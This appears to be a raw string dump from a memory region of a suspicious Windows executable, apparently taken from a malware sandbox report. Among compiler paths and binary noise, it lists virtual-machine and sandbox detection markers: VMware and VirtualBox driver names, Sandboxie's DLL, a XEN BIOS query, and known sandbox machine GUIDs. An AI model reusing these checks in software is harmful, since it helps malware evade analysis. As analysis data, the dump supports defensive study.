f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

$f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

c:\%original file name%.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

%original file name%.exe_580_rwx_00401000_001C5000:

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

PSSSSSSh

J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ<=JJJJJJJJJJJ>?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

kernel32.dll

%System%\drivers\vmmouse.sys

%System%\drivers\vmhgfs.sys

%System%\drivers\VBoxMouse.sys

sbiedll.dll

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf

SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Classes\ProcMon.Logfile.1\shell\open\command

IsWindowsServer

hXXps://ssl.google-analytics.com/collect?

CQQZZZZZZfpuyy$,49HHQ^lntDCLPZ\drz%-1:

JUUXXXXXZdqss},0<DIM\cmn|'0;EKZ_gu9DP

MMQZZZZZZ_mx#.4@AAOSTYchinyyz 5DLVbhr

KKPSSSSSaft|$-<?MT`dpu|#8DDJYY]ehu} :ILRVbgq{)38;BERXYgjxz(.=JJMYY[`cm

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum

BKNRRRRRR\dox'/==JKQX]]kkq )3BNP_ipwxx'59=EELOWZcpsvz'-48CHORYYYaly}#,4>

MNN]]]]]js###///<KYdmmq{|-15APZcpr} ,7>F

ORS\\\\\]amx!&3=DR]afiilv"#,14ADKUdps!/=GUXdmt"%/;HTV\gsv#).<>EOOSTZity!

AKRVVVVVWajo{#-58DMZbpw}&,0;HRYfr#&*29=H

P\\bbbbbly*,0:AFIJOWaahq".6ENZioz$),26DN]ffqw!CIW_nv$%-68==EGUW]clpu#

N[_aaaaakyz&/48=AAFQX__fix%-7DHMRXfhqz}#

ENOXXXXXfn{GDP_jlrr{|"15?HLLVZhv'69:AI

AMM[[[[[akkmq "   46>FTagqssx)357DHOUdp{

CPSYYYYYZ\iisx|***8@IT_fjsv'',39@JWZ\acjnprwzz$.3@@MVeet$(DRX]epruy}%3

P[aggggguuw|%' .7=GUdpz 9BNVbnrrx&-.1@NN

PPVWWWWW^^fnqx'6?JJQ^ftv%.=CLWacrt}%(*112?JQUZ\\bgt|*0?KPSTVZ_bblvw|",9<

PYYcccccilux"LJOXbmw!,9<HIQYZcp{| # 02AO]bhjw{'(3:EGT_gtw(*688CPPVaoruv%2:;HTXfntv%2=CLSYgkl{#-166DDP^

ENSUUUUUX`ddkwFHV[bm{$ ,134ACDRWfnqr{

FFKMMMMMSY`noww|}  779ERWemu",8BQV`o{ -4BCEOPRUchns} 23?ACOWchjw" ../<=J

LZ______agq"'/8CHS]llr|,,-9DOQTXfn}!##''389:EP\ku!,,/0<JLW[cgosty| $..;>HMT]`mt")3?EMV^hlrz (5>GT]^ly"1

()$^.* ?[]|\-{},:=!

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\locale

invalid _N_type: %d

AKRVVVVVdnt%&(0=LWafqy%' 22<GVbdgmx{,033=KXgnuvx"/=BFP[adix$LCPWYZ`ddq

BKNRRRRR_eov&&5<CMZdetu%% 0=@ACRTadlswy#0<GPW^aeehjry)*2=CGR^^iipx|}#'19

KV[gggggtyz'-8AMYbbcfjnv}!%'*,5@MQVabhjjly{{,;JUben{)1:FU]drx%%4<AM[gs#)

IIPYYYYYYht|(FRWcrss|}(7ANWdfmp||-8BGL

N\`aaaaafor"/:>JMRZhoox{*6@DFNV`efp $ 5@DRRZbl{$&&566CPUdprtx$1;>FGOQSag

INSTTTTT^``acgs$34?DGLW_esx!%LEPXgor|}

CRSZZZZZadp{)-223BOSber} (17>HHRWXafku#,

HRTWWWWWahv&1>LPS[fqr".=IO^jmny}*-111;JMR`jy';IU[jluw}(5=>JJR]_cjuv%)/3::EIW_egl{  9<CMUZ_llmwLCR^^a

LSXaaaaanr $(.6AFLPP[bmu!/024BMYY[bity"'-<CGNN[_bjow ! 8:BJLNNPRagvw"/<=GQ``opr# 1@MW_jmv"*4<FTZ]epvx|$,8EPX[jry'2=ALMQZ`hswy&(4;@IWWdiqx')88BOOUcoy!.<BHL[aiv%*3467EIPUVV`hhhsy"$%'/17FTV^ko{ ,9CQXZ]ccny*/046=CQQ]fo|*4BBKT]ainpy&-;CQZcrv} 7AHS`iry'*7;EFJL[^jyy#0>IV\dft%3:;@@LPRY\_akxxy&&36>EHO^mu%*33?DQ[cfrz##2ABBENX^iuz$$&'*.4CJLLNUWfrz&,2AESZdssw( /77:;EIX`iimvy}(2@AKNRajjy"*/9CMVdr!".18AO\kuz#'5:BQSahjpsvxx&&'(0>@HPYfu&235:@CJMUcpw#-.9EPPTW[[hhw'3=AISTZdhrux ##)8>EPWW\hvv$3=HU\belt{*1>ELM\enrruu$34BBIUXcrtx|}-6DNTalou"#'229DSW`my| %..4BLSbgns /1>CDSU`mw!*2<@FFMMRSUclt"*9DIXfgsy!!,6?DDGRRXZ^blmpw{(*58?FU^`dhhlltu}'2=KNX]ailz)3>FQT`dfjks!$*37@BFKO\hiu"  ,0;IOSValy# 4;CEIMMQQYZbju"03=BFNQ_lv# 69EIKOPXdgjwyy -.::GHWds|$ 79;HKT\gip{||,01@IIMQVYehin{{!*29>KX_cqx'18<EKMZ[gguuxz'.4>>CHOUbkqs""&&2ADOPUcekt!.6<<ELLU_ioxy*2?DEQ\`jo{(79B

KUZbbbbbmoo{ 8AFGU`esu} )6@FNT]`eggu}''(09EPS\ciwy}%* 1>LVcgq .8:;ABISZ`gms{(*9BEEKUZam{&5DHQ`gjvy)//>HOVWdkku#$%3<CP\]beqry',,1<?ACOWfhw|(13?DGLX`eq{# -7BKRY\_kyz*8DPZdp}"(-9@@CCLTYZegov$.5>@LSZhtz(,38;GGOOOTX]ipprx&0458<JLVVX^mr##,1249FHUdhv!,;AITZ\\^m{ 9HHSX^djmty*,1?HLYhs '(-7ANSSZflnr}$$ 05?HHP]jmr!8GJTTUcmqu&3<?HSS^hj

NUW\\\\\_`bffggis!-8ELQSZ]hiitw%.:HU[`ggmmrsz*39?GGU^acn}'135BP^kppv%.1?EQSSUYgvy ==ADNZbn{{'3>?MZfps} ,255DNYYhku}) .9DGLSX]^hjjx&.<>EKKP^dp ,9;?JYcmns"#)6@OPPWZinvy %1@KZccnq '*5<JLQT[aafpru&1<@NX\ikr}}$.1>>MY]ltz#-6DSaht{(1?IMM[dgt"#%3;HPYhlqqy '55DFTZ`mw $2?DDEELZdgpsz!#%%,.3BELMWX]gmor{(46EFT\affhlz") ,.6:EGIR[_hm{{ &./:ANT_hiu{|LMTTVXgiv'//2=KTUY[ft||'*8<FSZ`hu}}&&3@FKZiuz{{!(2>BBQQ_ny)-2;BDQTchp},05>FJWbimx%&.9>KLSXfhiuuuvz(0;=@@HLQ`eq!)26ACFRTWahmqvw} $$.:DRapp! -2249<GORYcn{)7?HWdp}$12@CGMP[fmzz)5>AIRVaiq{'*0:CR_enqt#) ,..27?NOOYdhnx",4?NV`owx''/8;?KW`ajkt"*8<IRR^js{'018;AER[[\iu|(),07FJNVVdopy!(19>@JXes !.:<INU]lmoy(7FIKXfnpz 06?LWdfhu&244555=JW[`bktuy|'1>

ENOXXXXX]ghnw"178CQT\hp{!&/37BMTZchhpz$15?@ABDSW^bjrz)05>GN\bcfhvv# 469>BQU``iprv!&1?DIQWegm{|-4@EFFHTVaapz#'46:FJWfpv ).5;HHNSUdpq *2?F

NetBase.cpp

KY[dddddmsx'*7<HUWet#*029CLO[annz|',,,4?JMVcqt{),9:ETcp}',49=FPTbku)BCIPQ_`effrr /:<HOOQW]in} (*-58;BJ

CHN]]]]]gosv" -5BKYhmt}.8>ENZ`nns}.249CQ

URL EMPTY

HKLPPPPP^jqvCGR[hs| $'*67;BMV[\gr{,48

HMQ\\\\\ejwy{|-:FPVW[jkux #),7@OTcp *3:=

"url":"

ParseUrl

/Setup.application

hXXp://

PictureEx.cpp

c:\logFile.txt

hXXp://42e546f0ea2d40afa114ea020951ec9d:9538ea5acbbe4fc6b42811c415685653@

.cpp" ,

errormsg

Error opening key.

Key not found.

CheckRegistryKeyExistance

_virtualGetStringKey

_virtualSetStringKey

_virtualSetDwordKey

_virtualcheckRegkKey

SetStringKey

inflate 1.1.3 Copyright 1995-1998 Mark Adler

CWebBrowser2

0.0.0.0

mb_00000000-0000-0000-0807-060504030201

mb_09F005AE-AC9D-4FC1-AB7A-24004F6C043A

mb_01010101-0101-0101-0101-010101010101

mb_58585858-5858-5858-5858-585858585858

mb_4c4c4544-0000-2010-8020-80c04f202020

mb_11111111-2222-3333-4444-555555555555

mb_11111111-1111-1111-1111-111111111111

mb_00020003-0004-0005-0006-000700080009

mb_890E2D14-CACD-45D1-AE66-BC80E8BFEB0F

mb_8E275844-178F-44A8-ACEB-A7D7E5178C63

mb_52309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_DC698397-FA54-4CF2-82C8-B1B5307A6A7F

mb_61F39712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_50FB9712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_93309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_56F49712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_07090201-0103-0301-0807-060504030201

mb_03000200-0400-0500-0006-000700080009

mb_FEFEFEFE-FEFE-FEFE-FEFE-FEFEFEFEFEFE

mb_FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_00000000-0000-0000-0000-000000000000

CNotSupportedException

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\except.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtls_.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemisc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winstr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\strcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtempl.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afx.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\thrdcore.cpp

m_nMsgLast =

m_msgCur = {

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcoll.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\elements.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcomctl32.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcore.cpp

IGNORING command id 0xX sent to %hs dialog.

Routing command id 0xX to app.

Routing command id 0xX to owner window.

Warning: Creating dialog from within a COleControlModule application is not a supported scenario.

Warning: ExecuteDlgInit failed during dialog init.

ERROR: Dialog with IDD 0xX must have the child style.

ERROR: Dialog with IDD 0xX must be invisible.

ERROR: Cannot find dialog template with IDD 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp

Warning: unknown WM_MEASUREITEM for menu item 0xX.

hhctrl.ocx